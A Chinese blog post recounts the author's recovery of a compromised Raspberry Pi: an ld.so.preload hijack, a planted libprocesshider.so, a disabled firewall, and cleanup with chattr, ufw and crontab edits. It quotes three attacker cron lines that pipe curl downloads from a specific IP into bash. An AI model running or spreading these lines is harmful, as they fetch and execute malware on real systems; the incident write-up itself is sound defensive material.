记一次树莓派被黑后紧急恢复系统和应用的经历


记一次树莓派被黑后紧急恢复系统和应用的经历

当时的情况是在外面发现我的博客和其他应用都打不开了

然后连 ssh 想看下怎么回事, 发现 ssh 也连不上了,每一台树莓派都连不上了,应该是内网穿透(frp)挂了

到家后 ssh 登录内网穿透所在机器,发现到处都在提示 .../etc/ld.so.preload cannot be preloaded...

ssh 登录时提示, 使用 docker 命令时等等, 并且 docker 命令全都无法使用, 试了下其他机器,还好其他机器正常

不仅内网穿透挂了,docker 也挂了,开机启动项也都没了

赶紧查查这个提示是啥玩意…

在病毒迫害下挣扎

查资料说把 ld.so.preload 清空就行了

echo "" > /etc/ld.so.preload
reboot

清空后重启,还真有效,正常了,重新设置一下内网穿透和开机启动配置

vim frp/frpc_baozi.ini
vim /etc/rc.local

:wq 告诉我 rc.local 保存失败?! 发现状态是新文件, 从另一个树莓派上传过来 一下试试

scp root@192.168.6.130:/etc/rc.local /etc/rc.local

我去,又提示文件或文件夹不存在, 进入目录查看,却又发现文件存在…好吧,进去看看啥情况

cd /etc
ls

发现开机启动配置文件 rc.local 在啊!

再次编辑 rc.local 文件仍然提示是新文件?!

查看文件信息啥情况…

ls -l rc.l*

发现这玩意是个链接, 链接到的 /etc/rc.d/rc.local…! 就在此时系统又出问题了…再次清空重启(echo "" > /etc/ld.so.preload && reboot)后正常

查看另一个树莓派中 /etc/ld.so.preload 是有内容的,编辑文件与另一个树莓派的值一样后重启

vim /etc/ld.so.preload
reboot

再次设置内网穿透和启动项,没配完又跪了

再再再次清空和重启(echo "" > /etc/ld.so.preload && reboot), 感觉是被黑了,查看最近历史命令 history 1000, 没发现什么异常, 好吧没啥头绪

但是既然刚才发现这个是连接,干脆删了,从另一个树莓派再穿一次过来试试, 看看可不可以

rm -rf rc.local
scp root@192.168.6.130:/etc/rc.local /etc/rc.local
cat /etc/rc.local

这次查看文件内容正常, 紧接着叕开始报错了!!! 清空,重启!

此时我敢肯定是被种木马了…

反击

赶紧趁现在还能偶尔正常操作会儿,备份下 docker 镜像

docker login
docker push crazybun/arm-jenkins-jdk8
docker push crazybun/arm-oracle-jdk
docker push crazybun/maven

又不正常了,报错的时候 docker 也会跪, 发现 rc.local 又变了, 有东西一直在改我系统文件

查了下可以用 chattr 给文件或文件夹加锁/解锁

清空,这回给 /etc 目录加锁后重启

echo "" > /etc/ld.so.preload
chattr +i /etc
reboot

这总是一会儿就跪,有定时任务吧,查看定时任务看看有没有什么猫腻

crontab -l
# 多了这么三行
*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1

卧槽还真有东西!在 windows 打开一个连接立刻就报病毒了!

立刻编辑定时任务删掉这些不是我添加的定时任务,重启

crontab -e
reboot

检查防火墙状态…结果是空的,之前的配置都没了,貌似所有端口都允许访问了, 防火墙被关了…

# 查看防火墙状态
sudo ufw status
# 开启防火墙
sudo ufw enable
# 默认全部拒绝
sudo ufw default deny
# 添加自己允许访问的端口
sudo ufw allow ...
# 检查状态
sudo ufw status

给定时任务目录也加锁

chattr +i /var/spool/cron/

查看 lib 是否有多余的包, 对比另一个树莓派,还真有一个 libprocesshider.so

cd /usr/local/lib
ls -l

查看修改创建时间,就昨天创建的。。。赶紧删掉!

stat libprocesshider.so
rm -f libprocesshider.so

暂时是想不到其他东西了,但还是很害怕,好在这个树莓派里只有几个应用,数据库不在这里…

还是备份好应用后重装系统保险些,暂时先恢复应用跑起来吧,好歹也写了个简易自动交(kui)易(qian)程序呢,应用停了感觉亏(zhuan)了一个亿!

恢复

回头继续配置内网穿透

对比另一个树莓派中 rc.local 链接的目标是不存在的,解锁,删除!从另一个树莓派中再拷贝过来,修改配置,加锁重启一气呵成

chattr -i /etc
rm -rf /etc/rc.d/rc.local
rm -rf rc.local
scp root@192.168.6.130:/etc/rc.local ./rc.local
vim /etc/rc.local
chattr +i /etc
reboot

内网穿透开机自启终于正常工作了,应用也稳定跑起来了

终于告一段落,有时间重装下系统最稳,不知道还有啥东西被改了呢。。。


文章作者: CrazyBunQnQ
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 CrazyBunQnQ !
 上一篇
MyBatis mapper 文件中 $ 和 MyBatis mapper 文件中 $ 和
平时查日志很喜欢用正则表达式, 写习惯了结果前几天写 mapper.xml 文件时在 SQL 中手误把 `#` 写成了 `$`, 结果运行的时候报错了, 导致半天没看出来哪错了...找到原因之后很无语, SQL 看了半天都没觉着那有问题, 哈哈哈哈, 这下长记性了
2021-02-22
下一篇 
树莓派安装 Docker 与持续集成~ 树莓派安装 Docker 与持续集成~
树莓派刚出了新版 4B,感觉配置不错,就入手了一个玩玩~然而买回来之后一直在吃灰...赶紧拿出来耍耍~
2020-03-30